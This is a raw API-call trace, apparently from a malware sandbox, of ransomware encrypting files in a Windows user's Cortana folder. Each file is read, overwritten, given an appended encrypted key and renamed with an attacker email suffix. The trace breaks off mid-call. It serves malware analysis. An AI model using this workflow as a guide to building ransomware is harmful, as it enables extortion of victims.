1 [0181.524] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0181.524] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0181.525] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\Apps.ft", dwFileAttributes=0x80) returned 1 [0181.525] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\Apps.ft" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\apps.ft"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b00 [0181.526] GetFileSizeEx (in: hFile=0x1b00, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=28943) returned 1 [0181.526] ReadFile (in: hFile=0x1b00, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x710f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x710f, lpOverlapped=0x0) returned 1 [0181.531] SetFilePointer (in: hFile=0x1b00, lDistanceToMove=-28943, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.531] WriteFile (in: hFile=0x1b00, lpBuffer=0x30e4168*, nNumberOfBytesToWrite=0x710f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4168*, lpNumberOfBytesWritten=0x2e1f9bc*=0x710f, lpOverlapped=0x0) returned 1 [0181.532] SetFilePointer (in: hFile=0x1b00, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x710f [0181.532] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.532] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.532] WriteFile (in: hFile=0x1b00, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.532] WriteFile (in: hFile=0x1b00, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.532] CloseHandle (hObject=0x1b00) returned 1 [0181.533] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0181.534] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0181.534] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\0.2.filtertrie.intermediate.txt", dwFileAttributes=0x80) returned 1 [0181.536] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\0.2.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\0.2.filtertrie.intermediate.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b00 [0181.536] GetFileSizeEx (in: hFile=0x1b00, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=5) returned 1 [0181.536] ReadFile (in: hFile=0x1b00, lpBuffer=0x5c3518, nNumberOfBytesToRead=0x5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesRead=0x2e1f9bc*=0x5, lpOverlapped=0x0) returned 1 [0181.537] SetFilePointer (in: hFile=0x1b00, lDistanceToMove=-5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.537] WriteFile (in: hFile=0x1b00, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5, lpOverlapped=0x0) returned 1 [0181.537] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0181.537] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0181.537] SetFilePointer (in: hFile=0x1b00, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5 [0181.537] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.538] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.538] WriteFile (in: hFile=0x1b00, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.538] WriteFile (in: hFile=0x1b00, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.538] CloseHandle (hObject=0x1b00) returned 1 [0181.538] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0181.538] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3538 | out: hHeap=0x520000) returned 1 [0181.538] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\0.2.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\0.2.filtertrie.intermediate.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\0.2.filtertrie.intermediate.txt.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\0.2.filtertrie.intermediate.txt.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0181.543] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x617c30 | out: hHeap=0x520000) returned 1 [0181.543] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x531498 | out: hHeap=0x520000) returned 1 [0181.543] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555b90 | out: hHeap=0x520000) returned 1 [0181.543] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0181.543] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0181.543] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\0.1.filtertrie.intermediate.txt", dwFileAttributes=0x80) returned 1 [0181.545] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x531498 | out: hHeap=0x520000) returned 1 [0181.545] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\0.1.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\0.1.filtertrie.intermediate.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b00 [0181.546] GetFileSizeEx (in: hFile=0x1b00, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=5) returned 1 [0181.546] ReadFile (in: hFile=0x1b00, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x5, lpOverlapped=0x0) returned 1 [0181.547] SetFilePointer (in: hFile=0x1b00, lDistanceToMove=-5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.547] WriteFile (in: hFile=0x1b00, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5, lpOverlapped=0x0) returned 1 [0181.547] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3458 | out: hHeap=0x520000) returned 1 [0181.547] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3478 | out: hHeap=0x520000) returned 1 [0181.547] SetFilePointer (in: hFile=0x1b00, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5 [0181.547] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.547] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.547] WriteFile (in: hFile=0x1b00, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.547] WriteFile (in: hFile=0x1b00, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.547] CloseHandle (hObject=0x1b00) returned 1 [0181.548] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0181.548] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0181.548] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\0.1.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\0.1.filtertrie.intermediate.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\0.1.filtertrie.intermediate.txt.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\0.1.filtertrie.intermediate.txt.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0181.550] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x61ec60 | out: hHeap=0x520000) returned 1 [0181.550] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555b90 | out: hHeap=0x520000) returned 1 [0181.550] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x564d08 | out: hHeap=0x520000) returned 1 [0181.550] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0181.550] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0181.550] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\0.0.filtertrie.intermediate.txt", dwFileAttributes=0x80) returned 1 [0181.552] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x531498 | out: hHeap=0x520000) returned 1 [0181.552] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\0.0.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\0.0.filtertrie.intermediate.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b00 [0181.553] GetFileSizeEx (in: hFile=0x1b00, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=21530) returned 1 [0181.553] ReadFile (in: hFile=0x1b00, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x541a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x541a, lpOverlapped=0x0) returned 1 [0181.563] SetFilePointer (in: hFile=0x1b00, lDistanceToMove=-21530, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.563] WriteFile (in: hFile=0x1b00, lpBuffer=0x30e2478*, nNumberOfBytesToWrite=0x541a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e2478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x541a, lpOverlapped=0x0) returned 1 [0181.563] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30dd050 | out: hHeap=0x520000) returned 1 [0181.563] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e2478 | out: hHeap=0x520000) returned 1 [0181.563] SetFilePointer (in: hFile=0x1b00, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x541a [0181.563] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0181.564] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0181.564] WriteFile (in: hFile=0x1b00, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0181.564] WriteFile (in: hFile=0x1b00, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0181.564] CloseHandle (hObject=0x1b00) returned 1 [0181.564] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0181.564] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3458 | out: hHeap=0x520000) returned 1 [0181.564] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\0.0.filtertrie.intermediate.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\0.0.filtertrie.intermediate.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\0.0.filtertrie.intermediate.txt.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\0.0.filtertrie.intermediate.txt.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0181.567] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x564d08 | out: hHeap=0x520000) returned 1 [0181.567] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555b90 | out: hHeap=0x520000) returned 1 [0181.567] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570858 | out: hHeap=0x520000) returned 1 [0181.567] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563358 | out: hHeap=0x520000) returned 1 [0181.567] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0181.567] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f62bc0 | out: hHeap=0x520000) returned 1 [0181.567] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Input_{ecd52277-de32-43d5-8c62-58de1116f72e}\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24d1109, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x24f7384, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xf8a4ab69, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f73430 [0181.567] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555d08 | out: hHeap=0x520000) returned 1 [0181.567] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0181.567] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78908 | out: hHeap=0x520000) returned 1 [0181.567] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f680e8 | out: hHeap=0x520000) returned 1 [0181.567] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d5620 | out: hHeap=0x520000) returned 1 [0181.567] GetLastError () returned 0x0 [0181.567] GetLastError () returned 0x0 [0181.567] GetLastError () returned 0x0 [0181.567] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56dc90 | out: hHeap=0x520000) returned 1 [0181.568] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f735b0 | out: hHeap=0x520000) returned 1 [0181.568] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200d8 | out: hHeap=0x520000) returned 1 [0181.568] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f62990 | out: hHeap=0x520000) returned 1 [0181.568] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0181.568] FindNextFileW (in: hFindFile=0x2f73430, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24d1109, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x24f7384, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xf8a4ab69, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0181.568] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x531498 | out: hHeap=0x520000) returned 1 [0181.568] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0181.568] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f78908 | out: hHeap=0x520000) returned 1 [0181.568] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f66a40 | out: hHeap=0x520000) returned 1 [0181.568] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d5be8 | out: hHeap=0x520000) returned 1 [0181.568] GetLastError () returned 0x0 [0181.568] GetLastError () returned 0x0 [0181.568] GetLastError () returned 0x0 [0181.568] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56de48 | out: hHeap=0x520000) returned 1 [0181.568] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f736f0 | out: hHeap=0x520000) returned 1 [0181.568] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20270 | out: hHeap=0x520000) returned 1 [0181.568] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f62b48 | out: hHeap=0x520000) returned 1 [0181.568] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0181.568] FindNextFileW (in: hFindFile=0x2f73430, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd88ca800, ftCreationTime.dwHighDateTime=0x1d196ec, ftLastAccessTime.dwLowDateTime=0x24f7384, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd88ca800, ftLastWriteTime.dwHighDateTime=0x1d196ec, nFileSizeHigh=0x0, nFileSizeLow=0x118, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="apps.csg", cAlternateFileName="")) returned 1 [0181.568] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x531498 | out: hHeap=0x520000) returned 1 [0181.569] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0181.569] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f79650 | out: hHeap=0x520000) returned 1 [0181.569] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67788 | out: hHeap=0x520000) returned 1 [0181.569] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d5998 | out: hHeap=0x520000) returned 1 [0181.569] GetLastError () returned 0x0 [0181.569] GetLastError () returned 0x0 [0181.569] GetLastError () returned 0x0 [0181.569] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f62b48 | out: hHeap=0x520000) returned 1 [0181.569] FindNextFileW (in: hFindFile=0x2f73430, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a54f700, ftCreationTime.dwHighDateTime=0x1d19562, ftLastAccessTime.dwLowDateTime=0x24f7384, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2a54f700, ftLastWriteTime.dwHighDateTime=0x1d19562, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="apps.schema", cAlternateFileName="APPS~1.SCH")) returned 1 [0181.569] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x531498 | out: hHeap=0x520000) returned 1 [0181.569] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553c10 | out: hHeap=0x520000) returned 1 [0181.569] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f793a8 | out: hHeap=0x520000) returned 1 [0181.569] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f67e90 | out: hHeap=0x520000) returned 1 [0181.569] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30d5870 | out: hHeap=0x520000) returned 1 [0181.569] GetLastError () returned 0x0 [0181.569] GetLastError () returned 0x0 [0181.569] GetLastError () returned 0x0 [0181.569] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f62990 | out: hHeap=0x520000) returned 1 [0181.570] FindNextFileW (in: hFindFile=0x2f73430, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a54f700, ftCreationTime.dwHighDateTime=0x1d19562, ftLastAccessTime.dwLowDateTime=0x24f7384, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2a54f700, ftLastWriteTime.dwHighDateTime=0x1d19562, nFileSizeHigh=0x0, nFileSizeLow=0x7b5e, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="appsconversions.txt", cAlternateFileName="APPSCO~1.TXT")) returned 1 [0181.570] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x531498 | out: hHeap=0x520000) returned 1 [0181.570] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553700 | out: hHeap=0x520000) returned 1 [0181.570] HeapFree (in: hHeap=0x520000, dwFlags=0x0, 